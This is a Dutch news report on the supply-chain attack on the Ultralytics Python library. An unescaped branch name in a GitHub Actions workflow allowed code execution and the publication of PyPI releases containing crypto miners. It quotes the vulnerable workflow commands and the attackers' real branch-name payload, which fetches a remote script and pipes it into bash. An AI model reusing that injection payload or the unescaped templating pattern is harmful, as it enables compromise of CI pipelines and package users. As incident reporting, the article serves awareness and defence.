Een bug in de GitHub Actions-handler leidde tot de publicatie van kwaadaardige Ultralytics-releases

Aanvallers konden code uitvoeren met de GitHub Actions-handler in de repository van de Ultralytics Python-bibliotheek, die wordt gebruikt om problemen met computer vision, zoals objectdetectie en beeldsegmentatie, op te lossen. Nadat ze toegang hadden gekregen tot de repository, publiceerden de aanvallers verschillende nieuwe Ultralytics-releases in de PyPI-directory, met schadelijke wijzigingen voor cryptocurrency mining. In de afgelopen maand is de Ultralytics-bibliotheek meer dan 6.4 miljoen keer gedownload vanuit de PyPI-directory.

Om de repository te compromitteren, werd een kwetsbaarheid gebruikt in het pakket ultralytics-actions, dat automatisch handlers start wanneer bepaalde acties worden uitgevoerd met een repository op GitHub, met behulp van het GitHub Actions-mechanisme. In het ultralytics-project was de kwetsbare handler gekoppeld aan de gebeurtenis pull_request_target en werd deze aangeroepen wanneer nieuwe pull-requests werden ontvangen. Om de code in de verzonden pull-requests te formatteren, werd de handler format.yml aangeroepen en werd de code uitgevoerd die was opgegeven in de sectie "run" van het bestand action.yml. Deze code bevatte shell-opdrachten met substitutiepatronen: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

De naam van de Git-branch die in de pull request werd genoemd, werd dus zonder de juiste escape-functie in shell-opdrachten gebruikt. Het is opmerkelijk dat in augustus een vergelijkbare kwetsbaarheid met betrekking tot het gebruik van een externe waarde in de echo-functie al was verholpen in het ultralytics-actions-pakket: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Om de uitvoering van hun code in de context van de GitHub Actions-handler te organiseren, stuurden de aanvallers een pull-aanvraag naar de Ultralytics-repository, waarbij ze de volgende branchnaam opgaven: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Toen een pull-aanvraag werd ontvangen, werd de door de aanvallers opgegeven string “$(…)” in de code ingevoegd, wat bij daaropvolgende uitvoering van de handler leidde tot de uitvoering van de code “curl -sSfL raw.githubusercontent.com/…/file.sh | bash”.

 Een bug in de GitHub Actions-handler leidde tot de publicatie van kwaadaardige Ultralytics-releases

Het uitvoeren van code in de context van GitHub Actions kan worden gebruikt om een ​​toegangstoken voor een repository en andere gevoelige gegevens te verkrijgen. Het is nog niet precies duidelijk hoe de aanvallers erin slaagden een release te creëren en hun code in GitHub Actions uit te voeren, maar aangenomen wordt dat dit mogelijk was dankzij een wijziging in de publish.yml-handler (de aanvallers hebben de controle voor een account dat releases mag publiceren op PyPI verwijderd) en door de build cache poisoning-techniek van GitHub Actions te gebruiken om hun gegevens in de release te plaatsen.

De eerste kwaadaardige versie van Ultralytics 8.3.41 werd op 4 december om 23:51 uur (MSK) door de aanvallers op PyPI gepubliceerd en de volgende dag om 12:15 uur verwijderd. Om 15:47 uur werd een nieuwe versie, 8.3.42, geplaatst en om 16:47 uur weer verwijderd. De kwaadaardige versies waren dus in totaal ongeveer 13 uur beschikbaar om te downloaden (PyPI registreert ongeveer 250 downloads van de Ultralytics-bibliotheek per dag). Versies 8.3.41 en 8.3.42 bevatten code die van een externe bron werd gedownload. server XMRig-component voor het minen van cryptovaluta.

De projectontwikkelaars hebben het probleem opgelost en de correctieve releases 8.3.43 en 8.3.44 uitgebracht, maar twee dagen later werd een nieuwe aanval uitgevoerd. Hierbij publiceerden de aanvallers vandaag om 04:41 en 05:27 (MSK) nog twee schadelijke releases: 8.3.45 en 8.3.46, die andere miningcode bevatten. Totdat het onderzoek is afgerond, wordt gebruikers geadviseerd geen nieuwe versies te installeren en release 8.3.44 in de afhankelijkheden te repareren.

Bron: opennet.ru

Voeg een reactie